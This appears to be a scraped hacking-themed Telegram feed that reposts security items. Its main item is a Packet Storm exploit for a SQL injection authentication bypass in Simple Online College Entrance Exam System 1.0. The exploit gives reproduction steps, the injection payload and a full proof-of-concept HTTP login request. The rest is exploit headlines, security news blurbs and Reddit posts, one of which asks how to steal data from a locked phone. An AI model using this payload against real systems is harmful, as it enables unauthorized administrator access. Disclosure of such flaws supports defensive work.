Exploit Collector
Simple Online College Entrance Exam System 1.0 SQL Injection

https://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png
Simple Online College Entrance Exam System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 13ddfc3db5cf5a6c83afdfffc8bd719f

Download
# Exploit Title: Simple Online College Entrance Exam System 1.0 - SQLi Authentication Bypass
# Date: 07.10.2021
# Exploit Author: Mevlüt Yılmaz
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Simple Online College Entrance Exam System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/entrance_exam/admin/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /entrance_exam/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/entrance_exam/admin/login.php
Cookie: PHPSESSID=57upokqf37b2fjs4o5tc84cd8n

username=admin'+or+'1'%3D'1&password=anything

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online DJ Booking Management System 1.0 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VMware vCenter Server Analytics (CEIP) Service File Upload

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Traffic Offense Management System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Finding Sensitive Data Leaks In Code Using ShiftLeft CORE
https://blog.shiftleft.io/finding-sensitive-data-leaks-in-code-using-shiftleft-core-bdb0e1250a22?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Getting started with a source code review using ShiftLeft COREContinue reading on ShiftLeft Blog » (https://blog.shiftleft.io/finding-sensitive-data-leaks-in-code-using-shiftleft-core-bdb0e1250a22?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How to find bugs
https://medium.com/@varanasidattasaijaideep/how-to-find-bugs-46076827c806?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

How i found it.Continue reading on Medium » (https://medium.com/@varanasidattasaijaideep/how-to-find-bugs-46076827c806?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
New Regulations Are Coming — Get a Handle on Your App Portfolio

With the realization that any app could be a gateway for a larger attack, there will be more pressure than ever on companies to fully protect their entire application landscape.

Dark Reading: Attacks/Breaches
New Kaspersky Service Delivers Cyberthreat Insights on Request

Kaspersky's new Ask the Analyst service will allow businesses to reach out to the company's researchers for their opinions and guidance on cyberthreats and security issues.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Solid plan?

Hi everyone, like many people around here, I'm a relatively young noob that wants to learn more about cyber security, how to find vulnerabilities and all the fun stuff that you know about.

From what I've read around the internet, before starting to read and watch material about hacking, understanding the basics of networking and security is a must, so i tried my best to create a study path with the resources available to me.

Step 1: To learn the basics of networking and security I intend to watch 2 udemy courses made by Total Seminars, more specifically "TOTAL: CompTIA Network+ Certification (N10-007)" and "CompTIA Security+ (SY0-601) Complete Course & Exam"

Step 2: After that I plan to start learning actual hacking. For that I could watch the Hackersploit Ethical Hacking & Penetration testing complete course playlist and the Zaid Sabith "Learn Ethical Hacking from scratch" and "Learn Phyton & Ethical Hacking from scratch" courses on udemy again. This should give me a very basic understanding of how offensive security should work

Step 3: I have lots of books in my computer, like "Hacking the art of exploitation", "Social engineering the art of human hacking", "automate the boring stuff with python", "Beginning Ruby on Rails" etc. (Feel free to recommend other interesting books that you liked)

Step 4: After learning the basics of hacking i guess that getting my hands a bit dirty with machines on HTB or Tryhackme should be the next logical step (?)

Step 5: Profit (hopefully).

Solid plan? I sure hope so. Tell me what you think

submitted by /u/Danilomba
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible?

Lets say, you have my phone running on Android 10, but it is locked and you cant change network setting ie you cant turn on/off the data, cant put it on flight mode etc. How would you steal my data?

It's strictly for education purposes only. I'll try it on my phone. If you can steal my data, what should I do to be more safe?

submitted by /u/Pleasant_Flow_2217
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video